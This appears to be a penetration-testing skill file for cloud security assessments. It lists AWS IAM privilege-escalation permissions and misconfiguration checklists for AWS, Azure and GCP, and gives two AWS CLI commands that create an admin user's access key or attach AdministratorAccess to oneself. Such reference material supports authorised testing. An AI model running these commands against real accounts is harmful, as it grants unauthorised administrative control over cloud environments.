When to Use
- AWS, Azure, or GCP security assessment
- Cloud misconfiguration exploitation
- S3/Blob/Storage bucket hunting
- Cloud IAM privilege escalation
- Serverless function exploitation
- Cloud metadata service abuse
When NOT to Use
- On-premises Active Directory — use
attacking-active-directory - Container and Kubernetes internals — use
exploiting-containers - IaC and pipeline review from source — use
auditing-supply-chain - Investigating a cloud compromise — use
responding-to-incidents - Hardening an account's posture rather than attacking it — use
Route to a Depth Skill
Cloud has grown several attack surfaces deep enough to warrant their own procedure skill. When the assessment narrows to one of these, switch — the IAM-and-storage methodology here does not carry their specific detail.
| Signal | Skill |
|---|---|
| Entra ID / Azure AD as the identity target: tokens, PRTs, consent grants, hybrid sync | attacking-entra-id |
| A managed Kubernetes cluster (EKS/GKE/AKS): pod-to-cloud IMDS, IRSA/Workload Identity, k8s RBAC | attacking-eks-gke-aks |
| Lambda / Azure Functions / Cloud Functions / Workers: event injection, execution-role abuse | attacking-serverless |
| CI/CD pipeline with OIDC federation to the cloud: broad trust policies, runner compromise | abusing-ci-cd-oidc |

Common Misconfigurations:
# iam:CreatePolicyVersion - modify existing policies
# iam:SetDefaultPolicyVersion - set older policy version
# iam:PassRole + lambda:CreateFunction - execute code as role
# iam:AttachUserPolicy - attach admin policy to self
# iam:PutUserPolicy - add inline policy to self
# iam:CreateAccessKey - create keys for other users
# iam:UpdateAssumeRolePolicy - modify trust relationshipsExploitation Examples:
# Create access key for admin user (if iam:CreateAccessKey)
aws iam create-access-key --user-name admin-user
# Attach admin policy (if iam:AttachUserPolicy)
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

AWS:
- Public S3 buckets with sensitive data
- Overly permissive IAM policies
- Unencrypted snapshots
- Public RDS instances
- Lambda functions with secrets in environment variables
- EC2 metadata service abuse (SSRF)
Azure:
- Public blob storage containers
- Overly permissive RBAC
- Exposed Key Vault secrets
- Public-facing VMs with weak credentials
- Function apps with hardcoded secrets
GCP:
- Public storage buckets
- Overly permissive IAM bindings
- Public compute instances
- Service account key exposure
- Cloud Functions with secrets in code
Common Cloud Misconfigurations
- Public Storage - S3/Blob/GCS buckets with public read/write
- Excessive Permissions - Overly permissive IAM/RBAC policies
- Exposed Secrets - Keys/passwords in code, environment variables
- No MFA - Critical accounts without multi-factor authentication
- Open Security Groups - 0.0.0.0/0 access on sensitive ports
- Unencrypted Data - Storage/databases without encryption
- Default Credentials - Services using default passwords
- Exposed Metadata - SSRF to cloud metadata services
- Public Snapshots - EBS/disk snapshots publicly accessible
- CloudTrail Disabled - No logging of API calls
